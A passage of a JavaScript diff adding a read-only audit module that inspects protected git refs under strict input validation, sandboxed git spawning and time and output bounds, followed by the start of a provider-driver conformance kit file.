} catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { + assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); + } catch (error) { remap(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_AUDIT_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUDIT_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { + assertDirectJsonClosure(input, pathLabel); + } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + const digest = HASH_DIGEST.call(hash, 'hex'); + if (!capturedTest(SHA256_PATTERN, digest)) deny('invalid_format', 'digest'); + return digest; +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +async function lstatOrNull(target) { + try { + return await LSTAT(target); + } catch { + return null; + } +} + +function resolveLayoutPath(raw, fromDir, pathLabel) { + if (typeof raw !== 'string' || raw.length === 0 || raw.includes('\0')) { + deny('repository_invalid', pathLabel); + } + const resolved = PATH_IS_ABSOLUTE(raw) ? PATH_RESOLVE(raw) : PATH_RESOLVE(fromDir, raw); + if (!PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + deny('repository_invalid', pathLabel); + } + return resolved; +} + +async function readBoundedUtf8(target, pathLabel) { + const metadata = await lstatOrNull(target); + if (metadata === null) return null; + if (isSymlinkStat(metadata) || typeof metadata.isFile !== 'function' || !metadata.isFile()) { + deny('repository_invalid', pathLabel); + } + if (typeof metadata.size === 'number' && metadata.size > MAX_LAYOUT_FILE_BYTES) { + deny('repository_invalid', pathLabel); + } + let text; + try { + text = await READFILE(target, { encoding: 'utf8' }); + } catch { + deny('repository_invalid', pathLabel); + } + if (typeof text !== 'string' || BYTE_LENGTH(text, 'utf8') > MAX_LAYOUT_FILE_BYTES) { + deny('repository_invalid', pathLabel); + } + return text; +} + +async function realpathOf(target, pathLabel) { + try { + return await REALPATH(target); + } catch { + deny('repository_invalid', pathLabel); + } +} + +async function assertDirectoryNotSymlink(target, pathLabel) { + let metadata; + try { + metadata = await LSTAT(target); + } catch { + deny('repository_invalid', pathLabel); + } + if (isSymlinkStat(metadata) || typeof metadata.isDirectory !== 'function' || !metadata.isDirectory()) { + deny('repository_invalid', pathLabel); + } + return realpathOf(target, pathLabel); +} + +function oneLayoutLine(text, pathLabel) { + if (typeof text !== 'string') deny('repository_invalid', pathLabel); + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if (value.includes('\n') || value.includes('\r') || value.includes('\0')) { + deny('repository_invalid', pathLabel); + } + return value; +} + +function assertInspectEnv(env, pathLabel) { + if (env !== GIT_INSPECT_ENV) deny('env_influence_denied', pathLabel); + for (let i = 0; i < FORBIDDEN_ENV_KEYS.length; i += 1) { + if (capturedHasOwn(env, FORBIDDEN_ENV_KEYS[i])) deny('env_influence_denied', pathLabel); + } +} + +function assertGitArgv(args, pathLabel) { + if (!IS_ARRAY(args)) deny('invalid_type', pathLabel); + if (args.length > MAX_AUDIT_GIT_ARGS) deny('bounds_exceeded', pathLabel); + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (typeof arg !== 'string' || arg.length === 0 || arg.includes('\0')) { + deny('hostile_name_denied', pathLabel); + } + if (BYTE_LENGTH(arg, 'utf8') > MAX_GIT_ARG_BYTES) deny('bounds_exceeded', pathLabel); + } +} + +function assertReadonlyCommand(args, pathLabel) { + let command; + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + i += 1; + continue; + } + if (typeof arg === 'string' && arg.startsWith('-')) continue; + command = arg; + break; + } + if (!capturedIncludes(PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, command)) { + deny('audit_operation_denied', pathLabel); + } +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, pathLabel) { + if (session.commands >= MAX_AUDIT_GIT_COMMANDS) deny('bounds_exceeded', pathLabel); + if (Date.now() >= session.deadlineAt) deny('bounds_exceeded', pathLabel); +} + +function ownedChunk(chunk, pathLabel) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + deny('git_execution_failed', pathLabel); +} + +function runGit(session, args, pathLabel) { + assertGitArgv(args, `${pathLabel}.args`); + assertReadonlyCommand(args, pathLabel); + assertSessionBounds(session, pathLabel); + const budget = remainingMs(session); + if (budget <= 0) deny('bounds_exceeded', pathLabel); + session.commands += 1; + const argv = [...GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${pathLabel}.argv`); + const spawnOptions = { + cwd: '/', + env: GIT_INSPECT_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertInspectEnv(spawnOptions.env, `${pathLabel}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv, spawnOptions); + } catch { + reject(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + if (child === null || (typeof child !== 'object' && typeof child !== 'function')) { + reject(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + try { + if (IS_PROXY(child)) deny('proxy_denied', pathLabel); + } catch (error) { + reject(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_GIT_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(error); + } + }; + try { + if (child.stdout && typeof child.stdout.on === 'function') { + child.stdout.on('data', onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; })); + } + if (child.stderr && typeof child.stderr.on === 'function') { + child.stderr.on('data', onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; })); + } + child.once('error', () => { + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (Date.now() >= session.deadlineAt) { + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + return; + } + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: BUFFER_CONCAT(stdoutChunks).toString('utf8'), + stderr: BUFFER_CONCAT(stderrChunks).toString('utf8'), + }); + }); + } catch { + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error( + 'git_execution_failed', pathLabel, MSG.git_execution_failed, + )); + } + }); +} + +async function gitLines(session, args, pathLabel, count) { + const result = await runGit(session, args, pathLabel); + if (result.exit_code !== 0) deny('git_execution_failed', pathLabel); + let text = result.stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.includes('\0') || text.includes('\r')) deny('git_execution_failed', pathLabel); + const lines = text.length === 0 ? [] : text.split('\n'); + if (count !== undefined && lines.length !== count) deny('git_execution_failed', pathLabel); + return lines; +} + +function cwdFlags(repositoryPath) { + return capturedFreeze(['-C', repositoryPath]); +} + +function parseExpectedRef(input, pathLabel, seenRefs, seenObjects) { + const object = assertClosedObject(input, EXPECTED_REF_ALLOWED_KEYS, pathLabel); + requireKeys(object, EXPECTED_REF_ALLOWED_KEYS, pathLabel); + for (const prior of seenObjects) { + if (OBJECT_IS(prior, input)) deny('aliased_reference_denied', pathLabel); + } + seenObjects.push(input); + const refValue = optOwn(object, 'ref'); + if (typeof refValue !== 'string') deny('invalid_type', `${pathLabel}.ref`); + const sha = optOwn(object, 'sha'); + if (typeof sha !== 'string' || !isSha40(sha)) deny('invalid_format', `${pathLabel}.sha`); + if (seenRefs.has(refValue)) deny('invalid_format', pathLabel); + seenRefs.add(refValue); + return { ref: refValue, sha }; +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input)) deny('invalid_type', pathLabel); + if (input.length < 1 || input.length > MAX_AUDIT_REFS) deny('out_of_range', pathLabel); + const seenRefs = new SET_CTOR(); + const seenObjects = []; + const refs = []; + for (let i = 0; i < input.length; i += 1) { + let item; + try { + item = ownDataValue(input, STRING(i), `${pathLabel}[${i}]`); + } catch (error) { remap(error, pathLabel); } + refs.push(parseExpectedRef(item, `${pathLabel}[${i}]`, seenRefs, seenObjects)); + } + return capturedFreeze(refs); +} + +function parseSequence(input, pathLabel) { + if (!hasOwn(input, 'sequence')) return 0; + const value = optOwn(input, 'sequence'); + if (typeof value !== 'number' || !IS_INT(value) || value < 0 || value > MAX_SEQUENCE) { + deny('out_of_range', pathLabel); + } + return value; +} + +function parseOptionalBranch(input, key, pathLabel) { + if (!hasOwn(input, key)) return undefined; + const value = optOwn(input, key); + if (typeof value !== 'string' || value.length === 0 + || capturedUtf8ByteLength(value) > MAX_AUDIT_KEY_BYTES) { + deny('invalid_format', `${pathLabel}.${key}`); + } + return value; +} + +function assertAuditOperation(operation, pathLabel) { + try { + denyWorkerRemoteMutation(operation); + } catch (error) { + if (error instanceof CredentialBoundaryError) deny('remote_mutation_denied', pathLabel); + if (error instanceof RunContractV1Error) remap(error, pathLabel); + deny('remote_mutation_denied', pathLabel); + } + if (capturedIncludes(DENIED_OPERATIONS, operation)) deny('remote_mutation_denied', pathLabel); + if (operation !== 'read_only_inspect') deny('audit_operation_denied', pathLabel); + return operation; +} + +function classifyDeclaredRef(entry, identity, extras) { + const request = { ref: entry.ref, identity }; + for (const key of [ + 'default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex', + ]) { + if (extras[key] !== undefined) request[key] = extras[key]; + } + const classified = classifyRefV1(request); + if (classified.ref_class === 'unclassified' || classified.code === 'branch_namespace_violation') { + deny('hostile_name_denied', 'expected_refs'); + } + if (classified.protected !== true || isProtectedRefV1(request) !== true) { + deny('expected_ref_not_protected', 'expected_refs'); + } + return classified; +} + +export function parseProtectedRefAuditRequestV1(input, pathLabel = 'protected_ref_audit') { + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (optOwn(object, 'schema') !== PROTECTED_REF_AUDIT_SCHEMA_ID) { + deny('invalid_format', `${pathLabel}.schema`); + } + if (optOwn(object, 'version') !== PROTECTED_REF_AUDIT_VERSION) { + deny('invalid_format', `${pathLabel}.version`); + } + const identityInput = optOwn(object, 'identity'); + const bound = bindAuthorityIdentityV1(identityInput); + const repositoryPath = optOwn(identityInput, 'repository_path'); + const expectedRefs = parseExpectedRefs(optOwn(object, 'expected_refs'), `${pathLabel}.expected_refs`); + const extras = { + default_branch: parseOptionalBranch(object, 'default_branch', pathLabel), + origin_head_branch: parseOptionalBranch(object, 'origin_head_branch', pathLabel), + init_default_branch: parseOptionalBranch(object, 'init_default_branch', pathLabel), + }; + if (hasOwn(object, 'manifest_digest_hex')) { + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(/^[0-9a-f]{64}$/u, digest)) { + deny('invalid_format', `${pathLabel}.manifest_digest_hex`); + } + extras.manifest_digest_hex = digest; + } + const operation = hasOwn(object, 'operation') + ? optOwn(object, 'operation') + : 'read_only_inspect'; + if (typeof operation !== 'string') deny('invalid_type', `${pathLabel}.operation`); + assertAuditOperation(operation, `${pathLabel}.operation`); + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + const classified = []; + for (let i = 0; i < expectedRefs.length; i += 1) { + classified.push(classifyDeclaredRef(expectedRefs[i], identityInput, extras)); + } + const sequence = parseSequence(object, `${pathLabel}.sequence`); + return freezeRecord([ + 'schema', 'version', 'identity', 'repository_path', 'expected_refs', + 'classified', 'extras', 'operation', 'sequence', + ], { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + identity: bound, + repository_path: repositoryPath, + expected_refs: expectedRefs, + classified: capturedFreeze(classified), + extras: freezeRecord( + ['default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex'], + extras, + ), + operation, + sequence, + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + if (options === null || typeof options !== 'object' || IS_ARRAY(options)) { + deny('invalid_type', pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_AUDIT_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowed = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_AUDIT_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowed.has(key)) deny('unknown_key', pathLabel); + } + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') deny('invalid_type', `${pathLabel}.spawn`); + try { assertNotProxy(spawn, `${pathLabel}.spawn`); } catch (error) { remap(error, pathLabel); } + } + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function assertAuthorityInspect(request) { + const verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'platform', + operation: 'read_only_inspect', + identity: { + repository_path: request.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + }); + if (verdict.verdict !== 'allowed' || verdict.code !== 'authority_ok') { + deny('audit_operation_denied', 'operation'); + } + if (!capturedIncludes(ACTOR_VALUES, 'platform')) deny('invalid_format', 'actor'); +} + +async function observeRepositoryKind(session, repositoryPath, pathLabel) { + let metadata; + try { + metadata = await LSTAT(repositoryPath); + } catch { + deny('repository_missing', `${pathLabel}.identity.repository_path`); + } + if (typeof metadata?.isDirectory !== 'function' || !metadata.isDirectory() || isSymlinkStat(metadata)) { + deny('repository_invalid', `${pathLabel}.identity.repository_path`); + } + let resolved; + try { + resolved = await REALPATH(repositoryPath); + } catch { + deny('repository_missing', `${pathLabel}.identity.repository_path`); + } + if (resolved !== repositoryPath || !PATH_IS_ABSOLUTE(resolved) || PATH_RESOLVE(resolved) !== resolved) { + deny('repository_invalid', `${pathLabel}.identity.repository_path`); + } + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'rev-parse', '--path-format=absolute', + '--is-bare-repository', '--is-inside-work-tree', '--absolute-git-dir', + '--git-common-dir', '--git-path', 'packed-refs', '--git-path', 'info/grafts', + '--git-path', 'shallow'], + `${pathLabel}.repository`, + 7, + ); + const [bare, inside, gitDir, commonDir, packedRefsPath, graftsPath, shallowPath] = lines; + if (!capturedTest(TRUE_FALSE_PATTERN, bare) || !capturedTest(TRUE_FALSE_PATTERN, inside)) { + deny('repository_invalid', `${pathLabel}.repository`); + } + for (const candidate of [gitDir, commonDir, packedRefsPath, graftsPath, shallowPath]) { + if (!PATH_IS_ABSOLUTE(candidate) || PATH_RESOLVE(candidate) !== candidate || candidate.includes('\0')) { + deny('repository_invalid', `${pathLabel}.repository`); + } + } + const gitDirReal = await assertDirectoryNotSymlink(gitDir, `${pathLabel}.repository`); + const commonReal = await assertDirectoryNotSymlink(commonDir, `${pathLabel}.repository`); + let kind; + if (bare === 'true') { + if (inside !== 'false' || gitDirReal !== repositoryPath) { + deny('repository_invalid', `${pathLabel}.repository`); + } + kind = 'bare'; + } else { + if (inside !== 'true') deny('repository_invalid', `${pathLabel}.repository`); + const gitEntry = PATH_JOIN(repositoryPath, '.git'); + let entryMeta; + try { + entryMeta = await LSTAT(gitEntry); + } catch { + deny('repository_invalid', `${pathLabel}.repository`); + } + if (isSymlinkStat(entryMeta)) deny('repository_invalid', `${pathLabel}.repository`); + if (typeof entryMeta.isDirectory === 'function' && entryMeta.isDirectory()) { + const entryReal = await realpathOf(gitEntry, `${pathLabel}.repository`); + if (entryReal !== gitDirReal) deny('repository_invalid', `${pathLabel}.repository`); + kind = 'local'; + } else if (typeof entryMeta.isFile === 'function' && entryMeta.isFile()) { + const text = await readBoundedUtf8(gitEntry, `${pathLabel}.repository`); + if (text === null) deny('repository_invalid', `${pathLabel}.repository`); + const match = GITDIR_LINE_PATTERN.exec(oneLayoutLine(text, `${pathLabel}.repository`)); + if (match === null) deny('repository_invalid', `${pathLabel}.repository`); + const declared = resolveLayoutPath(match[1].trim(), repositoryPath, `${pathLabel}.repository`); + const declaredReal = await assertDirectoryNotSymlink(declared, `${pathLabel}.repository`); + if (declaredReal !== gitDirReal) deny('repository_invalid', `${pathLabel}.repository`); + const commondirText = await readBoundedUtf8( + PATH_JOIN(declared, 'commondir'), `${pathLabel}.repository`, + ); + if (commondirText === null) deny('repository_invalid', `${pathLabel}.repository`); + const declaredCommon = await assertDirectoryNotSymlink( + resolveLayoutPath( + oneLayoutLine(commondirText, `${pathLabel}.repository`), + declared, + `${pathLabel}.repository`, + ), + `${pathLabel}.repository`, + ); + if (declaredCommon !== commonReal) deny('repository_invalid', `${pathLabel}.repository`); + kind = 'linked_worktree'; + } else { + deny('repository_invalid', `${pathLabel}.repository`); + } + } + const graftsMeta = await lstatOrNull(graftsPath); + if (graftsMeta !== null) deny('grafts_denied', `${pathLabel}.grafts`); + const shallowMeta = await lstatOrNull(shallowPath); + if (shallowMeta !== null) deny('grafts_denied', `${pathLabel}.shallow`); + return freezeRecord( + ['kind', 'git_dir', 'common_dir', 'packed_refs_path'], + { + kind, + git_dir: gitDirReal, + common_dir: commonReal, + packed_refs_path: packedRefsPath, + }, + ); +} + +function parseRefRecords(lines, pathLabel) { + const records = []; + for (let i = 0; i < lines.length; i += 1) { + const line = lines[i]; + if (line.length === 0) continue; + const parts = line.split('\t'); + if (parts.length !== 4) deny('git_execution_failed', pathLabel); + const [objectname, objecttype, symref, refname] = parts; + if (!isSha40(objectname) || !capturedTest(OBJECT_TYPE_PATTERN, objecttype)) { + deny('git_execution_failed', pathLabel); + } + if (typeof refname !== 'string' || refname.length === 0) deny('git_execution_failed', pathLabel); + records.push(freezeRecord( + ['objectname', 'objecttype', 'symref', 'refname'], + { objectname, objecttype, symref, refname }, + )); + } + return capturedFreeze(records); +} + +function canonicalRecords(records) { + return canonicalJsonStringify(records); +} + +async function observeDeclaredRefs(session, repositoryPath, expectedRefs, pathLabel) { + const patterns = []; + for (let i = 0; i < expectedRefs.length; i += 1) patterns.push(expectedRefs[i].ref); + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'for-each-ref', + '--format=%(objectname)%09%(objecttype)%09%(symref)%09%(refname)', + '--', ...patterns], + pathLabel, + ); + return parseRefRecords(lines, pathLabel); +} + +async function assertNoReplaceRefs(session, repositoryPath, pathLabel) { + const lines = await gitLines( + session, + [...cwdFlags(repositoryPath), 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${pathLabel}.replace`, + ); + if (lines.length > 1 || (lines.length === 1 && lines[0].length > 0)) { + deny('replace_refs_denied', `${pathLabel}.replace`); + } +} + +async function classifyStorage(layout, refValue) { + const candidates = [ + PATH_JOIN(layout.git_dir, refValue), + PATH_JOIN(layout.common_dir, refValue), + ]; + let loose = false; + let aliased = false; + for (let i = 0; i < candidates.length; i += 1) { + const metadata = await lstatOrNull(candidates[i]); + if (metadata === null) continue; + if (isSymlinkStat(metadata)) { + aliased = true; + continue; + } + if (typeof metadata.isFile === 'function' && metadata.isFile()) loose = true; + } + return { loose, aliased }; +} + +function findRecord(records, refValue) { + for (let i = 0; i < records.length; i += 1) { + if (records[i].refname === refValue) return records[i]; + } + return null; +} + +async function compareDeclared(layout, expectedRefs, classified, records) { + const comparisons = []; + const findings = []; + const classes = new SET_CTOR(); + let packedCount = 0; + let looseCount = 0; + let symbolicCount = 0; + let missingCount = 0; + for (let i = 0; i < expectedRefs.length; i += 1) { + const expected = expectedRefs[i]; + const classed = classified[i]; + const record = findRecord(records, expected.ref); + const storageProbe = await classifyStorage(layout, expected.ref); + let outcome = 'match'; + let storage = 'unknown'; + if (record === null) { + outcome = 'missing_ref'; + storage = 'absent'; + missingCount += 1; + } else if (record.refname !== expected.ref) { + outcome = 'aliased_ref'; + storage = 'unknown'; + } else if (typeof record.symref === 'string' && record.symref.length > 0) { + outcome = 'symbolic_ref'; + storage = 'symbolic'; + symbolicCount += 1; + } else if (storageProbe.aliased) { + outcome = 'aliased_ref'; + storage = 'loose'; + } else if (record.objectname !== expected.sha) { + outcome = 'moved_ref'; + storage = storageProbe.loose ? 'loose' : 'packed'; + } else { + storage = storageProbe.loose ? 'loose' : 'packed'; + } + if (storage === 'packed') { + packedCount += 1; + classes.add('packed_ref'); + } else if (storage === 'loose') { + looseCount += 1; + } + if (outcome !== 'match') classes.add(outcome); + const comparison = freezeRecord(COMPARISON_KEYS, { + outcome: outcome === 'match' ? 'match' : outcome, + storage, + ref_class: classed.ref_class, + protected: classed.protected, + default_branch_target: classed.default_branch_target, + }); + comparisons.push(comparison); + if (outcome !== 'match') { + findings.push(freezeRecord( + ['code', 'ref_class', 'storage', 'protected', 'default_branch_target'], + { + code: outcome, + ref_class: classed.ref_class, + storage, + protected: classed.protected, + default_branch_target: classed.default_branch_target, + }, + )); + } + } + return { + comparisons: capturedFreeze(comparisons), + findings, + classes, + packedCount, + looseCount, + symbolicCount, + missingCount, + }; +} + +function sortedClasses(classes) { + const values = []; + for (let i = 0; i < PROTECTED_REF_AUDIT_FINDING_CODES.length; i += 1) { + const code = PROTECTED_REF_AUDIT_FINDING_CODES[i]; + if (classes.has(code)) values.push(code); + } + return capturedFreeze(values); +} + +function failingFrom(classes) { + for (let i = 0; i < PROTECTED_REF_AUDIT_FAILING_CODES.length; i += 1) { + if (classes.has(PROTECTED_REF_AUDIT_FAILING_CODES[i])) return true; + } + return false; +} + +function discrepancyKind(_classes) { + return 'security'; +} + +function sideEffects() { + const values = {}; + for (let i = 0; i < PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, values); +} + +function emitFact(request, status, inputDigest, outputDigest, durationMs) { + const bounded = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + const headSha = capturedHasOwn(request.identity, 'head_sha') + ? request.identity.head_sha + : request.identity.base_sha; + return parseVerifiedFactV1({ + fact_id: 'protected-ref-audit', + fact_kind: 'git_identity', + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: request.sequence, + subject: 'protected-refs', + authority: 'platform_git', + method: 'protected_ref_snapshot_compare', + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: status === 'verified' ? 0 : 1, + duration_ms: bounded, + truncated: false, + payload: { base_sha: request.identity.base_sha, head_sha: headSha }, + artifact_digests: [], + }); +} + +function emitDiscrepancy(request, classes) { + const kind = discrepancyKind(classes); + return parseEvidenceDiscrepancyV1({ + discrepancy_id: 'protected-ref-audit', + discrepancy_kind: kind, + status: 'recorded', + code: 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: request.sequence, + claim_ids: [], + fact_ids: ['protected-ref-audit'], + artifact_digests: [], + }); +} + +export async function auditProtectedRefsV1(input, options) { + const request = parseProtectedRefAuditRequestV1(input); + const parsedOptions = parseOptions(options); + assertAuthorityInspect(request); + const pathLabel = 'protected_ref_audit'; + const session = createSession(parsedOptions.spawn); + const layout = await observeRepositoryKind(session, request.repository_path, pathLabel); + await assertNoReplaceRefs(session, request.repository_path, pathLabel); + const first = await observeDeclaredRefs( + session, request.repository_path, request.expected_refs, `${pathLabel}.refs`, + ); + const compared = await compareDeclared( + layout, request.expected_refs, request.classified, first, + ); + const second = await observeDeclaredRefs( + session, request.repository_path, request.expected_refs, `${pathLabel}.refs_repeat`, + ); + if (canonicalRecords(first) !== canonicalRecords(second)) { + compared.classes.add('race_detected'); + compared.findings.push(freezeRecord( + ['code', 'ref_class', 'storage', 'protected', 'default_branch_target'], + { + code: 'race_detected', + ref_class: 'unclassified', + storage: 'unknown', + protected: true, + default_branch_target: false, + }, + )); + } + const observedClasses = sortedClasses(compared.classes); + const failed = failingFrom(compared.classes); + const status = failed ? 'failed' : 'verified'; + const durationMs = MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); + const inputDigest = digestOf({ + expected_refs: request.expected_refs, + base_sha: request.identity.base_sha, + }); + const outputDigest = digestOf({ + comparisons: compared.comparisons, + observed_classes: observedClasses, + repository_kind: layout.kind, + }); + const fact = emitFact(request, status, inputDigest, outputDigest, durationMs); + const discrepancies = failed ? capturedFreeze([emitDiscrepancy(request, compared.classes)]) : capturedFreeze([]); + const observation = freezeRecord( + ['command_count', 'compared_count', 'duration_ms', 'loose_count', 'missing_count', + 'packed_count', 'symbolic_count'], + { + command_count: session.commands, + compared_count: request.expected_refs.length, + duration_ms: durationMs, + loose_count: compared.looseCount, + missing_count: compared.missingCount, + packed_count: compared.packedCount, + symbolic_count: compared.symbolicCount, + }, + ); + return freezeRecord(RECEIPT_KEYS, { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + repository_kind: layout.kind, + comparisons: compared.comparisons, + findings: capturedFreeze(compared.findings), + observed_classes: observedClasses, + facts: capturedFreeze([fact]), + discrepancies, + side_effects: sideEffects(), + observation, + }); +} + +export function describeProtectedRefAuditV1() { + return freezeData(capturedFreeze({ + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + rule: 'read_only_live_protected_ref_compare', + max_audit_refs: MAX_AUDIT_REFS, + max_audit_git_args: MAX_AUDIT_GIT_ARGS, + readonly_git_commands: PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS, + git_spawn_posture: 'argv_only_p29_inspect_env_no_optional_locks', + inspect_env: GIT_INSPECT_ENV, + finding_codes: PROTECTED_REF_AUDIT_FINDING_CODES, + failing_codes: PROTECTED_REF_AUDIT_FAILING_CODES, + repository_kinds: PROTECTED_REF_AUDIT_REPOSITORY_KINDS, + checks: PROTECTED_REF_AUDIT_CHECKS, + error_codes: PROTECTED_REF_AUDIT_ERROR_CODES, + side_effect_nonclaims: PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + composed_surfaces: capturedFreeze({ + git_authority: 'P28 classifyRefV1/isProtectedRefV1/classifyGitOperationV1/parseGitAuthorityPolicyV1', + credential_isolation: 'P29 GIT_INSPECT_ENV and denyWorkerRemoteMutation', + evidence: 'P13 git_identity + protected_ref_snapshot_compare', + api_or_orchestration: 'not invoked; P30 is library observation only', + remote_mutation: 'denied', + }), + })); +} + +capturedFreeze(parseProtectedRefAuditRequestV1); +capturedFreeze(auditProtectedRefsV1); +capturedFreeze(describeProtectedRefAuditV1); diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs new file mode 100644 index 0000000..38feaa7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs @@ -0,0 +1,342 @@ +// Reusable ProviderDriverV1 future-harness conformance kit (P22). +// +// Future adapters import this runner with their own driver. It is +// deterministic, inert, and captured-intrinsic: no ambient network, clocks, +// random IDs, credentials, or processes. Passing this kit does not qualify a +// live transport. + +import assert from 